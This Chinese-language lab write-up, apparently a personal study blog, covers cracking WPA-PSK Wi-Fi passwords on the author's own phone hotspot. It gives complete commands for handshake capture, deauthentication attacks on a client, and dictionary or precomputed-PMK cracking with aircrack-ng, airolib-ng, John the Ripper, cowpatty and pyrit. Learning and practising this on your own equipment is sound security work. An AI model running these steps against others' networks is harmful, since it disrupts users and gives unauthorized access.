Kali linux 学习笔记 无线渗透——WPA攻击(PSK破解、AIROLIB、JTR、cowpatty、pyrit)
PSK破解原理
- 无线网络连接过程中有“4步握手”
- PSK破解通过抓取客户端连接AP过程中的4步握手,其中有ANonce、SNonce、AMac、SMac等信息。MIC是PTK完整性摘要信息值。
- 将字典中的密码逐个进行一系列计算得到的MIC值与4步握手中的MIC值相匹配,匹配上了则为正确密码。
![](https://i-blog.csdnimg.cn/blog_migrate/56567b401e936c232ab487ca47d7906a.png)
PSK破解过程
- 启动monitor
- 开始抓包并保存
- Deauthentication 攻击获取4步握手信息
- 使用字典暴力破解
条件有限,如下图所示,使用手机开热点作为 AP,ipad连接热点作为 STATION,台式机kali linux+无线网卡 wn722n v1 monitor模式,使用kali 自带字典 rockyou.txt 暴力破解。
![](https://i-blog.csdnimg.cn/blog_migrate/b610db0615af2ad2f951326b7cf42291.png)
实验步骤——使用字典rockyou.txt
获得iPhone详细信息
airodump-ng wlan0mon
开始抓包并保存
airodump-ng wlan0mon --bssid [AP mac] -c 1 -w wap
Deauthentication 攻击获取4步握手信息
aireplay-ng -0 2 -a [AP mac] -c [STATION mac] wlan0mon
![](https://i-blog.csdnimg.cn/blog_migrate/53d9dc4ac3fe59b0dcf00f8dc9bdbd56.png)
使用字典暴力破解
aircrack-ng -w /usr/share/wordlists/rockyou.txt wap-01.cap
![](https://i-blog.csdnimg.cn/blog_migrate/560b0751c4db5f5cc8430df6e512d875.png)
不同的密码复杂度需要不同的时间。这里确认以下字典中是否存在密码 Passw0rd123
cd /usr/share/wordlists
grep Passw0rd123 rockyou.txt
rockyou.txt中有14344392个密码,结果显示字典中有该密码。
实验结果
这里很奇怪,等了一个多小时,没有破解得到密码,但是字典中确实存在该密码。
从实验原理来讲,抓取到4步握手信息,然后对比MIC值,相同则为密码,不应该与数据包的多少有关吧。但是没有找到结果。这里抓到11851个数据包,那我再做一次实验,试试多抓些再暴力破解。
将实验从头再来一次,抓取比较多数量的包后再开始下一步。
结果:再次实验时发现,kali中进行Deauthentication的包数量多了,ipad就会断开连接… 所以为了抓取到足够多的数据包,要一边在kali中打断,一边ipad上断开-连接-断开-连接…
这回读取371497个数据包,用了大概十分钟将密码破解出来了。
AIROLIB 破解密码
- 原理
- 设计用于存储ESSID和密码列表
- 计算生成不变的PMK
- PMK在破解阶段被用于计算PTK
- 通过完整性摘要值破解密码
- SOLite3 数据库存储数据(存储已经生成的明文密码及其哈希值)
- 缺点
- 更改ESSID则之前生成的PMK无效。
步骤
echo iPhone > essid.txt
airolib-ng db --import essid essid.txt
airolib-ng db --stats
airolib-ng db --import passwd /usr/share/wordlists/rockyou.txt
airolib-ng db --batch
airolib-ng -r db wap-01.cap
JTR 破解密码
- John the ripper
- 快速的密码破解软件
- 支持基于规则扩展密码字典
- 动态生成字典,不占用磁盘存储空间
- 用手机号码做无线密码
- 获取号段并利用JTR规则增加最后几位数字
- 配置文件
/etc/john/john.conf
- / List.Rules:Wordlist
$[0-9]$[0-9]$[0-9]$[0-9]
破解调用
将山东号段复制粘贴进入文本
将其转成一列排列cat yd.txt | xargs -n 1 > a.txt
测试: john --wordlist=a.txt --rules --stdout
这么大的数据量如果存储在硬盘非常消耗存储资源。
破解调用:john --wordlist=a.txt --rules --stdout | aircrack-ng -e iPhone -w - wap-01.cap
COWPATTY 破解密码
使用密码字典
cowpatty -r wap-01.cap -f /usr/share/john/password.lst -s iPhone
使用彩虹表(PMK)–速度提升
- 适合破解固定ESSID的密码
类似airolib,先把密码字典和Essid结合算出PMK,再调用算出来的PMK的哈希值表破解无线密码。
彩虹表生成工具:genpmk
genpmk -f password.lst -d pmkhash -s iPhone
-d 生成的pmk储存在pmkhash文件中
-s 指定ESSID名称
-f 密码字典
pmkhash中是加密格式内容
cowpatty -r wap-01.cap -d pmkhash -s iPhone
-r 指定抓包文件
PYRIT 破解密码
- 与airolib、cowpatty相同,支持基于预计算的PMK提高破解速度
- 独有优势
- 除CPU之外pyrit可以运用GPU的强大运算能力加速生成PMK
- 本身支持抓包获取四步握手过程,无需用airodump抓包
- 也支持传统的读取airodump抓包获取四步握手的方式
- 只抓取WAP四次握手过程包
pyrit -r wlan0mon -o wpapyrit.cap stripLive
pyrit -r wpapyrit.cap analyze
-r指定抓包网卡
-o输出结果
stripLive 剔除不需要的数据包
使用pyrit一直出现这个提示,加上analyze不行,尝试卸载scapy也不行。怎么改都不行…
- 从airodump抓包导入并筛选
pyrit -r wpa.cap -o wpapyrit.cap strip
实验总结
- 猜测:可能要在抓取足够多的数据包基础上,才能破解得到密码。
- aircrack-ng 很强大的工具套件。
- 实验没结果,多试几次。